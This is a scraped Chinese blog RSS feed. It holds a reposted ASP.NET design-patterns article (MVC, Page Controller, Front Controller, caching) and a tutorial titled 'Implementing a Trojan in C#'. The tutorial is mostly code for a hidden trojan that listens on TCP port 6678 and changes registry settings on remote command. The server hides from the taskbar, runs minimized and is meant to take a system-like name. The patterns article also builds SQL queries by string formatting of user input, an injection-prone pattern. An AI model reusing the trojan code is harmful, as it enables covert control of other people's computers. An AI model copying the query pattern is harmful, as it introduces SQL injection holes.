				</div>
				<div class="text4">目录</div>
				<div class="text4"> 引言</div>
				<div class="text4"> 经典的WebForm架构</div>
				<div class="text4"> 设计模式</div>
				<div class="text4"> MVC模式下的WebForm</div>
				<div class="text4"> Page Controller模式下的WebForm</div>
				<div class="text4"> Front Controller模式下的WebForm</div>
				<div class="text4"> Page Cache模式下的WebForm</div>
				<div class="text4"> 参考资源</div>
				<div class="text4"> 下载地址</div>
				<div class="text4"> 作者信息</div>
				<div class="text4">
				</div>
				<div class="text4">引言</div>
				<div class="text4">记得微软刚刚推出ASP.NET时，给人的震撼是开发Web程序不再是编写传统的网页，而像是在构造应用程序，因而微软称之为WebForm。但是两年后的今天，有相当多的开发人员仍然延用写脚本程序的思路构建一个又一个的WebForm，而没有发挥出ASP.NET的优势，就此本文希望通过实例能够启发读者一些新的思路。</div>
				<div class="text4">由于篇幅有限，本文不可能通过一个复杂的Web应用来向读者展示结合设计模式的WebForm，但是如果仅仅是一个小程序的确没有使用模式的必要。为了便于理解，希望您能把它想象成是一个大型系统中的小模块（如果代码是大型系统的一部分那么使用模式就变得非常重要）。</div>
				<div class="text4">在本文的末尾给出了所有源程序的下载地址。</div>
				<div class="text4">
				</div>
				<div class="text4">经典的WebForm架构</div>
				<div class="text4">首先来看一个简单的应用，数据库设计如下图，Portal是Subject的父表，通过portalId进行一对多关联，程序需要根据portalId显示不同的Subject列表。</div>
				<div class="text4">
				</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image001.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">按照我们编写WebForm一般的习惯，首先在页面上拖放一个DropDownList、一个DataGrid、一个Button控件：</div>
				<div class="text4">界面（webForm.aspx）：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">&lt;form id="webForm" method="post" runat="server"&gt;
	&lt;asp:DropDownList id="dropDownList" runat="server"&gt;&lt;/asp:DropDownList&gt;
	&lt;asp:Button id="button" runat="server" Text="Button"&gt;&lt;/asp:Button&gt;
	&lt;asp:DataGrid id="dataGrid" runat="server"&gt;&lt;/asp:DataGrid&gt;
&lt;/form&gt;
</pre>
				</div>
				<div class="text4">然后利用VS.NET代码隐藏功能编写的核心代码如下：</div>
				<div class="text4">后置代码（webForm.aspx.cs）：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">//页面初始化事件
private void Page_Load(object sender, System.EventArgs e)
{
	if ( ! IsPostBack )
	{
		string SQL_SELECT_PORTAL = "SELECT * FROM PORTAL";
		//使用using确保释放数据库连接
		//连接字符串存放在Web.Config文件中便于修改
		using( SqlConnection conn = new SqlConnection( ConfigurationSettings.AppSettings["ConnectionString"] ) )
		{
			SqlDataAdapter dataAdapter = new SqlDataAdapter( SQL_SELECT_PORTAL, conn );
			DataSet dataSet = new DataSet();
			dataAdapter.Fill( dataSet );
			//设置下拉列表的数据源与文本域、值域
			dropDownList.DataSource = dataSet;
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
}
//Button的Click事件
private void button_Click(object sender, System.EventArgs e)
{
	string SQL_SELECT_SUBJECT = "SELECT * FROM SUBJECT WHERE portalId = {0}";
	using( SqlConnection conn = new SqlConnection( ConfigurationSettings.AppSettings["ConnectionString"] ) )
	{
		//用下拉列表选择的值替换掉SQL语句中的待定字符{0}
		SqlDataAdapter dataAdapter = new SqlDataAdapter( string.Format( SQL_SELECT_SUBJECT, dropDownList.SelectedValue ), conn );
		DataSet dataSet = new DataSet();
		dataAdapter.Fill( dataSet );
		dataGrid.DataSource = dataSet;
		dataGrid.DataBind();
	}
}
</pre>
				</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image002.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">执行结果如图所示，程序将根据下拉列表框选择的值绑定DataGrid，非常典型的一个WebForm架构，体现出ASP.NET事件驱动的思想，实现了界面与代码的分离。但是仔细看看可以从中发现几个问题：</div>
				<div class="text4"> 对数据库操作的代码重复，重复代码是软件开发中绝对的“坏味道”，往往由于某些原因当你修改了一处代码，却忘记要更改另外一处相同的代码，从而给程序留下了Bug的隐患。</div>
				<div class="text4"> 后置代码完全依赖于界面，在WebForm下界面的变化远远大于数据存储结构和访问的变化，当界面改变时您将不得不修改代码以适应新的页面，有可能将会重写整个后置代码。</div>
				<div class="text4"> 后置代码不仅处理用户的输入而且还负责了数据的处理，如果需求发生变更，比如需要改变数据的处理方式，那么你将几乎重写整个后置代码。</div>
				<div class="text4">一个优秀的设计需要每一个模块，每一种方法只专注于做一件事，这样的结构才清晰，易修改，毕竟项目的需求总是在不断变更的，“唯一不变的就是变化本身”，好的程序一定要为变化作出准备，避免“牵一发而动全身”，所以一定要想办法解决上述问题，下面让我们来看看设计模式。</div>
				<div class="text4">
				</div>
				<div class="text4">设计模式</div>
				<div class="text4">设计模式描述了一个不断重复出现的问题以及对该问题的核心解决方案，它是成功的构架、设计及实施方案，是经验的总结。设计模式的概念最早来自于西方建筑学，但最成功的案例首推中国古代的“三十六计”。</div>
				<div class="text4">
				</div>
				<div class="text4">MVC模式下的WebForm</div>
				<div class="text4">MVC模式是一个用于将用户界面逻辑与业务逻辑分离开来的基础设计模式，它将数据处理、界面以及用户的行为控制分为：Model－View－Controller。</div>
				<div class="text4"> Model：负责当前应用的数据获取与变更及相关的业务逻辑</div>
				<div class="text4"> View：负责显示信息 </div>
				<div class="text4"> Controller：负责收集转化用户的输入</div>
				<div class="text4">
				</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image003.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">View和Controller都依赖于Model，但是Model既不依赖于View，也不依赖于Controller，这是分离的主要优点之一，这样Model可以单独的建立和测试以便于代码复用，View和Controller只需要Model提供数据，它们不会知道、也不会关心数据是存储在SQL Server还是Oracle数据库中或者别的什么地方。</div>
				<div class="text4">根据MVC模式的思想，可以将上面例子的后置代码拆分为Model和Controller，用专门的一个类来处理数据，后置代码作为Controller仅仅负责转化用户的输入，修改后的代码为：</div>
				<div class="text4">Model（SQLHelper.cs）：封装所有对数据库的操作。</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">private static string SQL_SELECT_PORTAL = "SELECT * FROM PORTAL";
private static string SQL_SELECT_SUBJECT = "SELECT * FROM SUBJECT WHERE portalId = {0}";
private static string SQL_CONNECTION_STRING = ConfigurationSettings.AppSettings["ConnectionString"];
public static DataSet GetPortal()
{
	return GetDataSet( SQL_SELECT_PORTAL );
}
public static DataSet GetSubject( string portalId )
{
	return GetDataSet( string.Format( SQL_SELECT_SUBJECT, portalId ) );
}
public static DataSet GetDataSet( string sql )
{
	using( SqlConnection conn = new SqlConnection( SQL_CONNECTION_STRING ) )
	{
		SqlDataAdapter dataAdapter = new SqlDataAdapter( sql, conn );
		DataSet dataSet = new DataSet();
		dataAdapter.Fill( dataSet );
		return dataSet; 
	}
}

Controller（webForm.aspx.cs）：负责转化用户的输入
	private void Page_Load(object sender, System.EventArgs e)
	{
		if ( ! IsPostBack )
		{
			//调用Model的方法获得数据源
			dropDownList.DataSource = SQLHelper.GetPortal();
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
	private void button_Click(object sender, System.EventArgs e)
	{
		dataGrid.DataSource = SQLHelper.GetSubject( dropDownList.SelectedValue );
		dataGrid.DataBind();
	}
</pre>
				</div>
				<div class="text4">修改后的代码非常清晰，M-V-C各司其制，对任意模块的改写都不会引起其他模块的变更，类似于MFC中Doc/View结构。但是如果相同结构的程序很多，而我们又需要做一些统一的控制，如用户身份的判断，统一的界面风格等；或者您还希望Controller与Model分离的更彻底，在Controller中不涉及到Model层的代码。此时仅仅靠MVC模式就显得有点力不从心，那么就请看看下面的Page Controller模式。</div>
				<div class="text4">
				</div>
				<div class="text4">Page Controller模式下的WebForm</div>
				<div class="text4">MVC 模式主要关注Model与View之间的分离，而对于Controller的关注较少（在上面的MVC模式中我们仅仅只把Model和Controller分离开，并未对Controller进行更多的处理），但在基于WebForm的应用程序中，View和Controller本来就是分隔的（显示是在客户端浏览器中进行），而Controller是服务器端应用程序；同时不同用户操作可能会导致不同的Controller策略，应用程序必须根据上一页面以及用户触发的事件来执行不同的操作；还有大多数WebForm都需要统一的界面风格，如果不对此处理将可能产生重复代码，因此有必要对Controller进行更为仔细的划分。</div>
				<div class="text4">Page Controller模式在MVC模式的基础上使用一个公共的页基类来统一处理诸如Http请求，界面风格等，如图：</div>
				<div class="text4">
				</div>
				<div class="text4">
				</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image004.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">传统的WebForm一般继承自System.Web.UI.Page类，而Page Controller的实现思想是所有的WebForm继承自定义页面基类，如图：</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image005.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">利用自定义页面基类，我们可以统一的接收页面请求、提取所有相关数据、调用对Model的所有更新以及向View转发请求，轻松实现统一的页面风格，而由它所派生的Controller的逻辑将变得更简单，更具体。</div>
				<div class="text4">下面看一下Page Controller的具体实现：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">Page Controller（BasePage.cs）：
public class BasePage : System.Web.UI.Page
{
	private string _title;
	public string Title//页面标题，由子类负责指定
	{
		get
		{
			return _title;
		}
		set
		{
			_title = value;
		}
	}
	public DataSet GetPortalDataSource()
	{
		return SQLHelper.GetPortal();
	}
	public DataSet GetSubjectDataSource( string portalId )
	{
		return SQLHelper.GetSubject( portalId );
	}
	protected override void Render( HtmlTextWriter writer )
	{
		writer.Write( "&lt;html&gt;&lt;head&gt;&lt;title&gt;" + Title + "&lt;/title&gt;&lt;/head&gt;&lt;body&gt;" );//统一的页面头
		base.Render( writer );//子页面的输出
		writer.Write( @"&lt;a href=""http://www.asp.net""&gt;ASP.NET&lt;/a&gt;&lt;/body&gt;&lt;/html&gt;" );//统一的页面尾
	}
}
</pre>
				</div>
				<div class="text4">现在它封装了Model的功能，实现了统一的页面标题和页尾，子类只须直接调用：</div>
				<div class="text4">修改后的Controller（webForm.aspx.cs）：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">public class webForm : BasePage//继承页面基类
{
	private void Page_Load(object sender, System.EventArgs e)
	{
		Title = "Hello, World!";//指定页面标题
		if ( ! IsPostBack )
		{
			dropDownList.DataSource = GetPortalDataSource();//调用基类的方法
			dropDownList.DataTextField = "portalName";
			dropDownList.DataValueField = "portalId";
			dropDownList.DataBind();
		}
	}
	private void button_Click(object sender, System.EventArgs e)
	{
		dataGrid.DataSource = GetSubjectDataSource( dropDownList.SelectedValue );
		dataGrid.DataBind();
	}
}
</pre>
				</div>
				<div class="text4">从上可以看出BagePage Controller接管了大部分原来Controller的工作，使Controller变得更简单，更容易修改（为了便于讲解我没有把控件放在BasePage中，但是您完全可以那样做），但是随着应用复杂度的上升，用户需求的变化，我们很容易会将不同的页面类型分组成不同的基类，造成过深的继承树；又例如对于一个购物车程序，需要预定义好页面路径；对于向导程序来说路径是动态的（事先并不知道用户的选择）。</div>
				<div class="text4">面对以上这些应用来说仅仅使用Page Controller还是不够的，接下来再看看Front Controller模式。</div>
				<div class="text4">
				</div>
				<div class="text4">Front Controller模式下的WebForm</div>
				<div class="text4">Page Controller的实现需要在基类中为页面的公共部分创建代码，但是随着时间的推移，需求会发生较大的改变，有时不得不增加非公用的代码，这样基类就会不断增大，您可能会创建更深的继承层次结构以删除条件逻辑，这样一来我们很难对它进行重构，因此需要更进一步对Page Controller进行研究。</div>
				<div class="text4">Front Controller通过对所有请求的控制并传输解决了在Page Controller中存在的分散化处理的问题，它分为Handler和Command树两个部分，Handler处理所有公共的逻辑，接收HTTP Post或Get请求以及相关的参数并根据输入的参数选择正确的命令对象，然后将控制权传递到Command对象，由其完成后面的操作，在这里我们将使用到Command模式。</div>
				<div class="text4">Command模式通过将请求本身变成一个对象可向未指定的应用对象提出请求，这个对象可被存储并像其他的对象一样被传递，此模式的关键是一个抽象的Command类，它定义了一个执行操作的接口，最简单的形式是一个抽象的Execute操作，具体的Command子类将接收者作为其一个实例变量，并实现Execute操作，指定接收者采取的动作，而接收者具有执行该请求所需的具体信息。</div>
				<div class="text4">
				</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image006.gif" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">因为Front Controller模式要比上面两个模式复杂一些，我们再来看看例子的类图：</div>
				<div>
						<img src="http://www.microsoft.com/china/community/Column/image/clip_image007.jpg" align="top" />
						<span class="text6">
						</span>
				</div>
				<div class="text4">关于Handler的原理请查阅MSDN，在这就不多讲了，我们来看看Front Controller模式的具体实现：</div>
				<div class="text4">首先在Web.Config里定义：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">&lt;!-- 指定对Dummy开头的aspx文件交由Handler处理 --&gt;
&lt;httpHandlers&gt;
	&lt;add verb="*" path="/WebPatterns/FrontController/Dummy*.aspx" type="WebPatterns.FrontController.Handler,WebPatterns"/&gt;
&lt;/httpHandlers&gt;
&lt;!-- 指定名为FrontControllerMap的页面映射块，交由UrlMap类处理，程序将根据key找到对应的url作为最终的执行路径，您在这可以定义多个key与url的键值对 --&gt;
&lt;configSections&gt;
	&lt;section name="FrontControllerMap" type="WebPatterns.FrontController.UrlMap, WebPatterns"&gt;&lt;/section&gt;
&lt;/configSections&gt;
&lt;FrontControllerMap&gt;
	&lt;entries&gt;
		&lt;entry key="/WebPatterns/FrontController/DummyWebForm.aspx" url="/WebPatterns/FrontController/ActWebForm.aspx" /&gt;
		。。。
	&lt;/entries&gt;
&lt;/FrontControllerMap&gt;
修改webForm.aspx.cs：
private void button_Click( object sender, System.EventArgs e )
{
	Response.Redirect( "DummyWebForm.aspx?requestParm=" + dropDownList.SelectedValue );
}
当程序执行到这里时将会根据Web.Config里的定义触发类Handler的ProcessRequest事件：
Handler.cs：
public class Handler : IHttpHandler
{
	public void ProcessRequest( HttpContext context )
	{
		Command command = CommandFactory.Make( context.Request.Params );
		command.Execute( context );
	}
	public bool IsReusable
	{
		get 
		{ 
			return true;
		}
	}
}
</pre>
				</div>
				<div class="text4">而它又会调用类CommandFactory的Make方法来处理接收到的参数并返回一个Command对象，紧接着它又会调用该Command对象的Execute方法把处理后参数提交到具体处理的页面。</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">public class CommandFactory
{
	public static Command Make( NameValueCollection parms )
	{
		string requestParm = parms["requestParm"];
		Command command = null;
		//根据输入参数得到不同的Command对象
		switch ( requestParm )
		{
			case "1" :
				command = new FirstPortal();
				break;
			case "2" :
				command = new SecondPortal();
				break;
			default :
				command = new FirstPortal();
				break;
		}
		return command;
	}
}
public interface Command
{
	void Execute( HttpContext context );
}
public abstract class RedirectCommand : Command
{
	//获得Web.Config中定义的key和url键值对，UrlMap类详见下载包中的代码
	private UrlMap map = UrlMap.SoleInstance;
	protected abstract void OnExecute( HttpContext context );
	public void Execute( HttpContext context )
	{
		OnExecute( context );
		//根据key和url键值对提交到具体处理的页面
		string url = String.Format( "{0}?{1}", map.Map[ context.Request.Url.AbsolutePath ], context.Request.Url.Query );
		context.Server.Transfer( url );
	}
}
public class FirstPortal : RedirectCommand
{
	protected override void OnExecute( HttpContext context )
	{
		//在输入参数中加入项portalId以便页面处理
		context.Items["portalId"] = "1";
	}
}
public class SecondPortal : RedirectCommand
{
	protected override void OnExecute(HttpContext context)
	{
		context.Items["portalId"] = "2";
	}
}
最后在ActWebForm.aspx.cs中：
dataGrid.DataSource = GetSubjectDataSource( HttpContext.Current.Items["portalId"].ToString() );
dataGrid.DataBind();
</pre>
				</div>
				<div class="text4">上面的例子展示了如何通过Front Controller集中和处理所有的请求，它使用CommandFactory来确定要执行的具体操作，无论执行什么方法和对象，Handler只调用Command对象的Execute方法，您可以在不修改 Handler的情况下添加额外的命令。它允许让用户看不到实际的页面，当用户输入一个URL时，然后系统将根据web.config文件将它映射到特定的URL，这可以让程序员有更大的灵活性，还可以获得Page Controller实现中所没有的一个间接操作层。</div>
				<div class="text4">对于相当复杂的Web应用我们才会采用Front Controller模式，它通常需要将页面内置的Controller替换为自定义的Handler，在Front Controllrer模式下我们甚至可以不需要页面，不过由于它本身实现比较复杂，可能会给业务逻辑的实现带来一些困扰。</div>
				<div class="text4">以上两个Controller模式都是处理比较复杂的WebForm应用，相对于直接处理用户输入的应用来讲复杂度大大提高，性能也必然有所降低，为此我们最后来看一个可以大幅度提高程序性能的模式：Page Cache模式。</div>
				<div class="text4">
				</div>
				<div class="text4">Page Cache模式下的WebForm</div>
				<div class="text4">几乎所有的WebForm面临的都是访问很频繁，改动却很少的应用，对WebForm的访问者来说有相当多的内容是重复的，因此我们可以试着把WebForm或者某些相同的内容保存在服务器内存中一段时间以加快程序的响应速度。</div>
				<div class="text4">这个模式实现起来很简单，只需在页面上加入：</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">&lt;%@ OutputCache Duration="60" VaryByParam="none" %&gt;，</pre>
				</div>
				<div class="text4">这表示该页面会在60秒以后过期，也就是说在这60秒以内所有的来访者看到该页面的内容都是一样的，但是响应速度大大提高，就象静态的HTML页面一样。</div>
				<div class="text4">也许您只是想保存部分的内容而不是想保存整个页面，那么我们回到MVC模式中的SQLHelper.cs，我对它进行了少许修改：</div>
				<div class="text4">
				</div>
				<div style="BACKGROUND-COLOR: #eeeeee">
						<pre class="text5">public static DataSet GetPortal()
{
	DataSet dataSet;
	if ( HttpContext.Current.Cache["SELECT_PORTAL_CACHE"] != null )
	{
		//如果数据存在于缓存中则直接取出
		dataSet = ( DataSet ) HttpContext.Current.Cache["SELECT_PORTAL_CACHE"];
	}
	else
	{
		//否则从数据库中取出并插入到缓存中，设定绝对过期时间为3分钟
		dataSet = GetDataSet( SQL_SELECT_PORTAL );
		HttpContext.Current.Cache.Insert( "SELECT_PORTAL_CACHE", dataSet, null, DateTime.Now.AddMinutes( 3 ), TimeSpan.Zero );
	}
	return dataSet;
}
	
</pre>
				</div>
				<div class="text4">在这里把SELECT_PORTAL_CACHE作为Cache的键，把GetDataSet( SQL_SELECT_PORTAL )取出的内容作为Cache的值。这样除了程序第1次调用时会进行数据库操作外，在Cache过期时间内都不会进行数据库操作，同样大大提高了程序的响应能力。</div>
				<div class="text4">
				</div>
				<div class="text4">小结</div>
				<div class="text4">自从.NET框架引入设计模式以后在很大程度上提高了其在企业级应用方面的实力，可以毫不夸张的说在企业级应用方面.NET已经赶上了Java的步伐并大有后来居上之势，本文通过一个实例的讲解向读者展示了在.NET框架下实现Web设计模式所需的一些基本知识，希望能起到一点抛砖引玉的作用。</div>
				<div class="text4">
				</div>
				<div class="text4">参考资源</div>
				<div class="text4">
						<a href="" target="">
								<font color="#21589c">http://msdn.microsoft.com/architecture/patterns/Esp/default.aspx</font>
						</a>
				</div>
				<div class="text4">
						<font color="#21589c">
						</font>
				</div>
				<div class="text4">下载地址</div>
				<div class="text4">
				</div>
				<div class="text4">
				</div>
				<div class="text4">作者信息</div>
				<div class="text4">袁剑</div>
				<div class="text4">Microsoft ASP.NET MVP</div>
				<div class="text4">
						<a href="" target="">
								<font color="#21589c">http://blog.joycode.com/gOODiDEA</font>
						</a>
				</div>
				<div class="text4">2003年12月6日</div>
				<div class="text4">
				</div>
		</div>
<img src ="http://www.cnitblog.com/eastperson/aggbug/22016.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 11:34 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22016.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SQLHelper.cs</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/18/22015.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Thu, 18 Jan 2007 03:27:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/18/22015.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/22015.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/18/22015.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/22015.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/22015.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: //				===============================================================================				//				 Microsoft Data Access Application Block for .NET微软.NET数据访问程序块				//				 				http://msdn.micr...&nbsp;&nbsp;<a href='http://www.cnitblog.com/eastperson/archive/2007/01/18/22015.html'>阅读全文</a><img src ="http://www.cnitblog.com/eastperson/aggbug/22015.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/eastperson/" target="_blank">东人EP</a> 2007-01-18 11:27 <a href="http://www.cnitblog.com/eastperson/archive/2007/01/18/22015.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#实现木马程序！</title><link>http://www.cnitblog.com/eastperson/archive/2007/01/12/21824.html</link><dc:creator>东人EP</dc:creator><author>东人EP</author><pubDate>Fri, 12 Jan 2007 09:56:00 GMT</pubDate><guid>http://www.cnitblog.com/eastperson/archive/2007/01/12/21824.html</guid><wfw:comment>http://www.cnitblog.com/eastperson/comments/21824.html</wfw:comment><comments>http://www.cnitblog.com/eastperson/archive/2007/01/12/21824.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/eastperson/comments/commentRss/21824.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/eastperson/services/trackbacks/21824.html</trackback:ping><description><![CDATA[
		<p>木马的介绍</p>
		<p>　　因为本文是探讨木马程序，所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。这里主要对软件部分介绍，它主要有控制端程序、木马程序（后台服务程序）、木马配制程序组成。控制端用以远程控制服务端的程序；木马程序是潜入服务端内部，获取其操作权限的程序；木马配制程序是设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏的更隐蔽的程序。</p>
		<p>　　使用的技术：</p>
		<p>　　控制端程序发送控制码控制服务器，服务器后台运行，修改注册表达到控制的目的。技术不是很难的，主要体现C#的网络编程和注册表的修改。</p>
		<p>　　控制端开发：</p>
		<p>　　控制端向服务器发出一段控制码，服务端（木马程序）收到控制码后，根据控制的要求，完成指定的要求，如果服务器完成工作，返回成功的信息。</p>
		<p>　　控制端的开发：</p>
		<p>　　控制码的设定你可以自已设定，不需要详解，主要有以下几个难点。</p>
		<p>　　1、连接请求</p>
		<p>使用了.NET类中的 System.Net.Sockets.TcpClient类,<br />TcpClient(string hostname,int port) <br />Hostname 是要控制的主机名称，当然你也可以用IP地址。<br />Port是端口。<br />// System.EventArgs包含事件数据类的基类<br />private void button7_Click(object sender, System.EventArgs e)<br />{ <br />//记录操作,在richTextBox控件中增加操作信息<br />richTextBox1.AppendText(请求连接 +textBox1.Text +\\r);<br />int port =6678;<br />try <br />{<br />//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口<br />client = new TcpClient(textBox1.Text,port);<br />}<br />catch <br />{<br />MessageBox.Show(服务器不在线!确定是否输入主机名称.);<br />richTextBox1.AppendText(服务器不在线!确定是否输入主机名称.);<br />}<br />}//private void buttion </p>
		<p>　　2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应，如果有返回则显示控制成功。 //提供网络访问的数据流 </p>
		<p>
				<br />//private NetworkStream stream;<br />代码如下：<br />private void button8_Click(object sender, System.EventArgs e)<br />{<br />//纪录操作<br />richTextBox1.AppendText(测试连接 +\\r);<br />try<br />{</p>
		<p>stream = client.GetStream();<br />if(stream.CanWrite)<br />{<br />//发送控制码<br />string control = jiance;<br />byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());<br />stream.Write(by,0,by.Length);<br />//下次使用<br />stream.Flush();<br />//启动接收反回数据的线程<br />//receive是线程执行的函数，见后面的分析<br />threadReceive = new Thread(new ThreadStart(receive));<br />threadReceive.Start();<br />}<br />}<br />catch(Exception ee)<br />{<br />richTextBox1.AppendText (ee.Message+\\r);<br />MessageBox.Show(ee.Message);<br />}<br />} </p>
		<p>　　3、控制生效的代码</p>
		<p>private void button9_Click(object sender, System.EventArgs e)<br />{<br />//这里是确定要发送的控制码，RadioButton是窗体控件<br />if(radioButton1.Checked){ control = form2.zhucex;}<br />else if(radioButton2.Checked){ control =form3.zhuces;}<br />else if(radioButton3.Checked){ control = warring;}<br />else if(radioButton4.Checked){ control =suggest;}<br />else if(radioButton5.Checked){ control =form4.mumawe;}<br />else if(radioButton6.Checked){ control =drop;}<br />if (control ==000000)<br />{<br />MessageBox.Show(你没有输入任何控制目标!不发控制信号);<br />richTextBox1.AppendText(你没有输入任何控制目标!不发控制信号);<br />}<br />else if(control != 000000)<br />{<br />try<br />{<br />//记录操作<br />richTextBox1.AppendText (control + 正在试图控制,等待回应...... + <a href="file://\\r">\\r</a>);<br />stream = client.GetStream();<br />if(stream.CanWrite )<br />{<br />byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());<br />stream.Write(by,0,by.Length);<br />stream.Flush();<br />threadReceive =new Thread(new ThreadStart(receive));<br />threadReceive.Start();<br />}//endif<br />}//try<br />catch<br />{<br />richTextBox1.AppendText(服务器未连接1控制无效! +\\r);<br />MessageBox.Show(服务器未连接1控制无效! +\\r);<br />}<br />}//else if<br />} </p>
		<p>　　4、线程执行的函数</p>
		<p>private void receive()<br />{<br />//设置读取数据的空间<br />byte[] bb = new byte[3];<br />//读取3个字节,i为实际读取的字节数<br />int i = stream.Read(bb,0,3);<br />//转换成字符串，如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);<br />string ss = System.Text.Encoding.ASCII.GetString(bb);<br />//hjc为我设置的服务器的返回码 hjc为连接成功，hkz为控制成功<br />if(ss==hjc)<br />{<br />MessageBox.Show(连接成功);<br />richTextBox1.AppendText(连接成功);<br />}<br />if(ss== hkz)<br />{<br />richTextBox1.AppendText(control +控制成功+\\r);<br />MessageBox.Show(control +控制成功+\\r);<br />}<br />} </p>
		<p> </p>
		<p>　　服务端的开发：</p>
		<p>　　要实现木马服务的程序，主要实现以下几个功能：后台的运行（隐藏技术），控制码的接收与注册表的修改，下面对这三方面做介绍：</p>
		<p>　　1、在VC#中，建立一个后台服务程序是很容易的，先建立一个新的C#的Windows应用程序，项目名称自定（不过为了隐藏可使用与系统相近的名称），将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示，并将属性“Windowstate”属性设为Mininized即可，这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置，此函数起初始化的作用，在窗体显示前运行，代码如下：</p>
		<p>private void InitializeComponent()<br />{<br />// <br />// Form1<br />// <br />//窗体显示的起点和大小<br />this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);<br />this.ClientSize = new System.Drawing.Size(368, 357);<br />//窗体名称<br />this.Name = Form1;<br />//设置属性让它后台运行<br />this.ShowInTaskbar = false;<br />this.Text = Form1;<br />this.WindowState = System.Windows.Forms.FormWindowState.Minimized;<br />} </p>
		<p>　　2、控制代码的接收，必需在服务程序运行开始就启动，所以侦听线程必需在程序初始化中启动，所以放在窗体的构造函数中，代码注解如下：</p>
		<p>public Form1() //窗体的构造函数<br />{<br />//<br />// Windows 窗体设计器支持所必需的<br />//<br />InitializeComponent();</p>
		<p>//<br />// TODO: 在 InitializeComponent 调用后添加任何构造函数代码<br />//加入你的侦听代码<br />//端口你可以自已设定,我使用了固定的端口<br />int port =6678;<br />//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的<br />listener = new TcpListener(port);<br />//启动侦听<br />listener.Start();<br />//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()<br />//reControlCode 是线程启动执行的函数，此函数根据接收的控制<br />//控制码选取合适的注册表修改函数<br />Thread thread = new Thread(new ThreadStart(reControlCode));<br />thread.Start();<br />}<br />reControlCode函数如下，完整代码见程序<br />private void reControlCode()<br />{<br />//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求<br />socket = listener.AcceptSocket();<br />//如果连接成功执行<br />while (socket.Connected)<br />{<br />//接收控制码<br />byte [] by =new byte[6];<br />int i = socket.Receive(by,by.Length ,0);<br />string ss = System.Text.Encoding.ASCII.GetString(by);<br />//根据控制码执行不同的功能 </p>
		<p>//修改注册表加入编码<br />switch (ss)<br />{<br />case jiance://测试连接,返回测试信息<br />string str =hjc;<br />byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);<br />socket.Send(bytee,0,bytee.Length,0);<br />break;<br />case zx1000:<br />//修改注册表函数,自已定义，见下面分析 <br />UnLogOff();<br />//返回控制消息<br />retMessage();<br />break;</p>
		<p>case zx0100:<br />//修改注册表函数<br />UnClose();<br />//返回控制消息<br />retMessage();<br />break;<br />//重复的case功能与前面一样,略掉<br />default: <br />break;<br />}//case<br />}//while<br />} //private void reControlCode <br /> </p>
